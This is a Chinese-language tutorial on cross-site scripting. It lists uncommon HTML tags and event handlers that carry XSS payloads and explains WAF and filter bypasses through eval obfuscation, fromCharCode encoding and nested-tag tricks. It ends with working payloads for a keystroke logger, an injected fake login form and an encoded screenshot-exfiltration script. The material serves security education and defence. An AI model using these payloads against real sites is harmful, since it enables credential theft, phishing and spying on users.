他山之石 | 對 XSS 的一次深入分析認識
隨著時間的推移,Web應用漏洞的型別在不斷演變,但年復一年持續存在且影響廣泛的漏洞仍然還屬XSS漏洞。長期以來,XSS漏洞算是非常常見的安全問題,以至於對大多數人來說,即使一個新的XSS漏洞被披露,但從內心來說,早已習已為常。本文深入描述XSS攻擊在幾種實際環境中的應用,同時順帶提到了一些XSS攻擊的繞過技術。
幾種載入XSS Payload的不常見標籤
和我們能想到的一樣,預防是最好的治療方法,而且去嘗試和緩解一些意外的攻擊也不失為一種好的策略實踐。通常情況下,大多陣列織機構只會部署現成的WAF產品(網路應用防火牆),而不是制訂開發適合自身的緩解技術,根本不會意識到那些結合自身的防護技術才是最恰當最精準的安全措施。
這樣一來,攻擊者們在構造程式碼驗證請求或實施程式碼審計之後,有WAF產品也沒用,攻防雙方就又形成了貓捉老鼠或是打地鼠的遊戲格局了。
就通用的XSS filter來說,因為<script>是引入JavaScript指令碼執行的原始方法,所以其中對<script> 和 </script> 配對標籤的使用是完全禁止的。
如果一個攻擊者發現<script>標籤被禁止之後,他可能會轉向尋求其它方法來執行JavaScript指令碼,打地鼠遊戲就開始了。
眾所周知,一種呼叫JavaScript的方法就是在元素型別上使用事件處理器(Event Handler),通常的一種方法類似:<img src=x onerror=alert(‘xss’) />,這是一種使用無效src屬性來觸發 onerror 事件處理器(onerror event handler)的方法,當然,其中包含了一個alert跳出框的xss payload,如下alert(1):
由於過度使用img標籤和onerror事件處理器,它們經常被列入XSS過濾黑名單,但除此之外還有其它形式的XSS攻擊向量。雖然所有可能的XSS攻擊向量標籤列表無法一時列出,但其中幾種非常有必要在此談談。
Body 標籤
由於這種攻擊方法向量,在給定頁面中只有一個body標籤,有些人可能認為它不起作用,但實際上,所有瀏覽器都會把它當事件處理器(Event Handler)來執行。在這裡,可以在onpageshow事件中用提交body元素的方法,形成XSS Payload,當其中的body元素被解析後就會觸發Payload。示例如下:
<body onpageshow=alert(1)>
Style 標籤
儘管onload事件總會被識別為危險動作,但另外來說,它也可以和style標籤組合來用,雖然這種場景並不多見。示例如下:
<style onload=alert(1) />
Marquee 標籤
Marquee 標籤除了在web開發中有標籤內容回滾作用之外,它還支援一系列的事件處理程式,因此可以用它來實現XSS Payload觸發。Marquee支援的一系列事件處理程式如下:
onbounce事件:是在<marquee>標籤中的內容滾動到上下或左右邊界時觸發的事件處理程式,該事件只有在<marquee>標籤的behavior屬性設為alternate時才有效; onfinish事件:當 marquee 完成 loop 屬性設定的值時觸發。它只能在 loop 屬性設定為大於 0 的某個數字時觸發; onstart事件: 當 marquee 標籤內容開始滾動時觸發。
結合此,加入XSS Payload的示例如下:
<marquee behavior="alternate" onstart=alert(1)>hack the planet</marquee> <marquee loop="1" onfinish=alert(1)>hack the planet</marquee> <marquee onstart=alert(1)>hack the planet</marquee>
Media 標籤
可能這種利用音視訊標籤來載入XSS Payload的方法很少見,實際來說,音視訊標籤中確實有幾種事件處理程式不會輕易被列入黑名單行列,尤其是以下幾種:
oncanplay: 在使用者可以開始播放音視訊(audio/video)時觸發; ondurationchange: 在音視訊(audio/video)的時長髮生變化時觸發; onended: 在音視訊(audio/video)播放結束時觸發; onloadeddata: 在音視訊資料幀載入時觸發,也即在當前幀的資料載入完成且還沒有足夠的資料播放音視訊(audio/video)的下一幀時觸發; onloadedmetadata: 在指定音視訊(audio/video)的元資料(如解析度和時長)載入後觸發; onloadstart: 在瀏覽器開始尋找指定音視訊(audio/video)時觸發; onprogress: 瀏覽器下載指定的音視訊(audio/video)時觸發; onsuspend: 在瀏覽器讀取音視訊(audio/video)資料中止時觸發。
結合以上事件,加入XSS Payload的示例如下:
<audio oncanplay=alert(1) src="/media/hack-the-planet.mp3" /> <audio ondurationchange=alert(1) src="/media/hack-the-planet.mp3" /> <audio autoplay=true onended=alert(1) src="/media/hack-the-planet.mp3" /> <audio onloadeddata=alert(1) src="/media/hack-the-planet.mp3" /> <audio onloadedmetadata=alert(1) src="/media/hack-the-planet.mp3" /> <audio onloadstart=alert(1) src="/media/hack-the-planet.mp3" /> <audio onprogress=alert(1) src="/media/hack-the-planet.mp3" /> <audio onsuspend=alert(1) src="/media/hack-the-planet.mp3" /> <video oncanplay=alert(1) src="/media/hack-the-planet.mp4" /> <video ondurationchange=alert(1) src="/media/hack-the-planet.mp4" /> <video autoplay=true onended=alert(1) src="/media/hack-the-planet.mp4" /> <video onloadeddata=alert(1) src="/media/hack-the-planet.mp4" /> <video onloadedmetadata=alert(1) src="/media/hack-the-planet.mp4" /> <video onloadstart=alert(1) src="/media/hack-the-planet.mp4" /> <video onprogress=alert(1) src="/media/hack-the-planet.mp4" /> <video onsuspend=alert(1) src="/media/hack-the-planet.mp4" />
黑名單程式碼樣式
正如很多防毒軟體的模式匹配規則一樣,只要某種行為動作和其內建的規則相匹配,則該動作就會被馬上列入黑名單中禁止執行。
在有些場景下,我們發現與JavaScript程式碼同義的各種動作都會被目標防護軟體列入黑名單,甚至是使用正常的alert也不例外。在此,有幾種方法可以繞過這些模式匹配規則。
Eval & 其它冗餘符號
如果目標系統的WAF或其它防護軟體沒把 /(eval|replace)\(.+?\)/i 這種樣式列入黑名單,那麼我們可以在其中通過夾雜冗餘符號的方式形成Payload,利用其中的eval動作來載入Payload,再利用之後的replace動作把冗餘符號進行替換刪除。
就比如,eval(‘alert(1)’) 等同於 alert(1) ,傳入eval的字串行為會被解釋執行,如果我們按照常規方式來構造,肯定會被目標系統中的WAF類產品識別阻擋。
所以,在此,我們可以通過eval和replace事件的組合利用,先在其中加入一些冗餘符號來進行混淆,再進行替換刪除,最終繞過WAF規則,形成我們想要達到的Payload。示例如下:
eval(‘~a~le~rt~~(~~1~~)~’.replace(/~/g, ”))
圍繞引號轉義來做文章
當引號被轉義(escape)之後,不管使用了什麼繞過技術,肯定會引起問題,就像上面的eval(‘~a~le~rt~~(~~1~~)~’.replace(/~/g, ”))一樣,如果要順帶把引號轉義,其Payload可能如下:
eval(\’~a~le~rt~~(~~1~~)~\’.replace(/~/g, \’\'))
但另一種變換方法就是利用正則表示式來避免帶入引號的使用,如可以在上述Payload中引入正斜槓方式,然後再用建立的正則表示式物件屬性來訪問其中的閉合字串。示例如下:
eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))
以此用new String()來實現把~轉換為空字串的目的,從而不需要用到引號。
對引號實行轉義並繞過WAF類產品模式匹配規則的一個有效手段是使用eval的String.fromCharCode方法,該方法將獲取一個或多個十進位制Unicode值,然後將它們轉換成等效的ASCII字元,並將它們連成一個字串,如:
console.log(String.fromCharCode(65,66,67,68)) //在終端返回顯示的是字串 “ABCD”
通過這種對Unicode值的轉換,可以把目標值傳遞給eval,因此,可以構造Payload如下:
eval(String.fromCharCode(97,108,101,114,116,40,49,41)) //// 最終執行的會是 alert(1)
其它使用Eval的方法
上面的例子有些是圍繞eval的使用而不是過濾來談的,由於eval是一種大家熟知的危險方法,所以經常會看到/eval(.+?)/i這樣的過濾方式。
相應的,我們也可以採取其它方法來規避過濾。由於函式可以儲存在JavaScript的變數中,所以為了不直接呼叫eval,我們可以把它分配給一個變數,然後間接呼叫它,示例如下:
var x = eval; x(‘alert(1)’)
另外一種間接呼叫eval的方法是用括號進行構造,即用括號間接呼叫法,如表示式(1,2,3,4)返回的是4,即括號中最後一個,所以(1,eval)返回的是函式eval,具體示例如下:
(eval) // 返回函式eval (1, eval) // 仍然返回函式eval
因此可以構造以下Payload來執行:
(1, eval)(‘alert(1)’) // 返回 alert(1)
基於此,也可以使用call方法來直接呼叫,如下:
eval.call(null, ‘alert(1)’) //返回 alert(1)
其次,可以定義一個新函式的方法來規避直接對eval的呼叫,當然這種方法還會涉及到一些語法定義,如下:
function hackThePlanet () { alert(1) }
最後,還可以用建立Function物件的方式來實現alert呼叫,該物件接受建構函式中的字串作為函式實現,如下:
new Function(‘alert(1)’)()
利用錯誤輸入過濾機制實現繞過
如果使用者輸入內容看似危險,那麼就需要對其輸入和響應進行一些過濾,最好的方法就是隻顯示出一些通用性錯誤或是直接拒絕使用者的整個請求。
不管怎麼說,這種定製化的緩解防護策略也很常見,但就像上述我們提到的各種繞過技術一樣,如果我們充分了解了目標系統的輸入過濾機制,那麼,也可以利用這種過濾機制,以其人之道還治其人之身,最終構造出我們的有效Payload。
利用不安全樣式刪除機制
刪除不安全危險資料的最常見方法之一可能就是把它直接刪除,一些過濾器只會簡單地認為,危險資料刪除了就安全了。
這種刪除機制除非是遞迴方法執行,否則,它也會自己把自己玩死。就像如果<script>和 </script>標籤對會被過濾器轉換為空字串,那麼,把它們組合構造夾雜放入一條javascript中,最終只有<script>和 </script>標籤對被刪除了,其它剩下的就又形成了新的組合方式,示例如下:
<sc<script>ript>alert(1)</sc</script>ript>
上述javascript中,如果過濾器只是簡單地把<script>和 </script>標籤對刪除了,那麼最終會剩下:
<script>alert(1)</script>
完美,這就是我們想要的。同樣的方法可以應用到一些標籤屬性或事件處理程式中,就像如果onerror是刪除目標,那麼,我們可以構造以下Payload:
<img src=x ononerrorerror=alert(1) />
最終刪除後剩下的結果為:
<img src=x onerror=alert(1) />
替換不安全樣式
當一些不安全的樣式被替換而不是被刪除之後,目標系統過濾器要識別它們,可能就有一些麻煩了。根據不同的過濾器規則,可以使用替換方式來構造我們最終想要的Payload。
就比如,如果目標系統的過濾器會把<script></script>標籤對都過濾替換為NAUGHTY_HACKER欄位,那麼,我們提交<script>alert(1)</script> 之後的結果就會是NAUGHTY_HACKERalert(1)NAUGHTY_HACKER。
但如果我們把<script>標籤對的宣告改為<script <script>> 和 </script </script>>這種巢狀式樣式後,那麼參照替換為NAUGHTY_HACKER欄位的規則,對於<script>alert(1)</script>來說,目標過濾器會把它過濾為:
<script NAUGHTY_HACKER>alert(1)</script NAUGHTY_HACKER>
在開始標籤<script NAUGHTY_HACKER>中,瀏覽器會把NAUGHTY_HACKER預設解析為一個不帶值的屬性,就像input中的autofocus屬性一樣。在閉合標籤</script NAUGHTY_HACKER>中,雖然技術上屬於無效,但最終卻能正確解析。因為瀏覽器在某種程度上為了減少錯誤,雖然能識別到這個附加屬性,但會簡單地把它忽視掉。最終在瀏覽器的檢查器效果如下:
XSS的影響絕不僅僅是跳出彈框!
一些XSS披露漏洞中簡單的跳出彈框PoC證明,可能是導致XSS漏洞危害被認知不足的一個原因吧,儘管XSS呼叫alert形式的彈框能證明漏洞的存在,但卻不能很好地證明XSS漏洞的實際威力和影響。所以,XSS漏洞導致的JavaScript執行到底會有多嚴重,讓我們產生無限遐想。在此就分享兩個案例。
無需會話Cookie劫持實現賬戶獲取
會話Cookie劫持可能是XSS攻擊中對目標系統或使用者的最大潛在威脅,因為這通常會導致目標使用者的會話被攻擊者完全操縱利用。
越來越多的人熟知會話劫持的風險,因此,後期在會話資訊中加入了HttpOnly標誌,來避免JavaScript讀取Cookie,這應該算是一個大的改進了,但實際來說,劫持賬戶也並不只有Cookie劫持一種方法。
有很多事件程式可以和JavaScript關聯起來,其中一個就是 keypress 按鍵事件(你能看到該事件背後會發生什麼嗎?)。通過在keypress事件的document呼叫方法中添加回調函式Callback,在使用者點選、按下或選中觸發回撥,以此來擷取使用者的按鍵資訊。
通過這種操作,攻擊者可以有效地將鍵盤記錄器植入使用者瀏覽器中,實現按鍵監聽,竊取使用者密碼憑據相關的按鍵資訊。如下 視訊 :
上圖中,keypress 按鍵事件通過包含以下內容的JavaScript檔案,捕獲按鍵事件資訊併發送到攻擊者的本地web伺服器中。
document.addEventListener('keypress', function (event) { var xhr = new XMLHttpRequest() xhr.open('POST', '/keylogger') xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded') xhr.send('data=' + event.key) })
DOM 形式的操縱利用
雖然上述XSS構造的鍵盤記錄器能正常起效,但如果不被目標使用者信任,迷惑不了目標使用者執行輸入,那麼,這種攻擊最後也會無效。
我們可以對上述鍵盤記錄器PoC稍作修改,可以修改執行時的DOM,用包含登入頁面的body內容進行替換。這樣一來,可以把任意標記內容都分配給document.body.innerHTML作為屬性,如下:
var dummyFormHtml = 'We\'ve had reports of bad guys trying to do wrong by ' + 'our users lately - help us, help you, by logging in ' + 'again to confirm your identity<br><input type="text" />' + '<br><input type="password" /><br><input type="submit" value="Login" />' document.body.innerHTML = dummyFormHtml document.addEventListener('keypress', function (event) { var xhr = new XMLHttpRequest() xhr.open('POST', '/keylogger') xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded') xhr.send('data=' + event.key) })
這樣,頁面的body內容將會形成一個迷惑性的登入框,誘使使用者輸入密碼憑據等敏感資訊。如下:
雖然這只是個簡單的示例,但是基於此,攻擊者可以建立和網站登入頁面一模一樣的釣魚頁面,以假亂真,形成有效攻擊。畢竟,大部份受害者只要看到正確的域名,就不會對登入頁面產生太多質疑。
DOM 形式的這種操縱利用遠不止於此,另外,它還可以用來構造複雜的社工攻擊。比如,可以被構造用來向用戶傳送提示通知,告訴使用者需要通過某個號碼去聯絡客戶支援部門,如果這種提示顯示在和使用者訪問的目標網站相同的域名上,那麼其可信度就相當高了,只要使用者撥通所謂的客戶部門電話,個人敏感資訊就會被攻擊者輕易獲得。
一圖勝千言 – 利用XSS竊取使用者瀏覽器檢視截圖
如今,隨著現代瀏覽器功能特性的不斷髮展更新,XSS Payload的構造方式也不斷升級,利用新的瀏覽器功能特性,攻擊者甚至可以竊取到使用者當前瀏覽器檢視的截圖資訊。
html2canvas 能夠實現在使用者瀏覽器端直接對整個或部分頁面進行截圖,利用這一功能,攻擊者用6行JavaScript程式碼就能竊取受害者瀏覽器檢視截圖,並回傳到控制伺服器。程式碼示例如下:
html2canvas(document.querySelector("body")).then(canvas => { var xhr = new XMLHttpRequest() xhr.open('POST', '/screenshot') xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded') xhr.send('data=' + encodeURIComponent(canvas.toDataURL())) });
結合上述程式碼,構造以下Payload提交到測試的目標使用者應用中,之後,就會生成一張包含目標使用者使用資訊的截圖圖片,而且該圖片會被回傳至攻擊者控制伺服器中。
<img src="/media/hack-the-planet.jpg" onload=eval(String.fromCharCode(115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,97,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,97,46,115,101,116,65,116,116,114,105,98,117,116,101,40,39,115,114,99,39,44,39,47,115,99,114,105,112,116,115,47,115,99,114,101,101,110,115,104,111,116,46,106,115,39,41,59,100,46,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,97,41,59,125,44,49,48,48,48,41)) />
上述程式碼中的十進位制數編碼對應的就是以下函式方法:
setTimeout(function() { var d = document; var a = d.createElement('script'); a.setAttribute('src','/scripts/screenshot.js'); d.head.appendChild(a); }, 1000)
setTimeout()方法用於在指定的毫秒數後呼叫函式,這裡呼叫了setTimeout原因是為了確保影象顯示在螢幕上以供驗證說明。
雖然上述Payload是將截圖傳送到和目標Web應用相同的伺服器中,但在實際環境中,完全可以把截圖傳送到攻擊者控制的遠端外部伺服器中去。
Payload一旦執行後,一個名為screenshot.png的截圖檔案就會出現在Node.js應用中,該截圖包含了網頁內容,如下:
雖然這種攻擊的實際應用有限,但它可以很好地詮釋利用XSS漏洞能實現的攻擊場景,值得思考借鑑。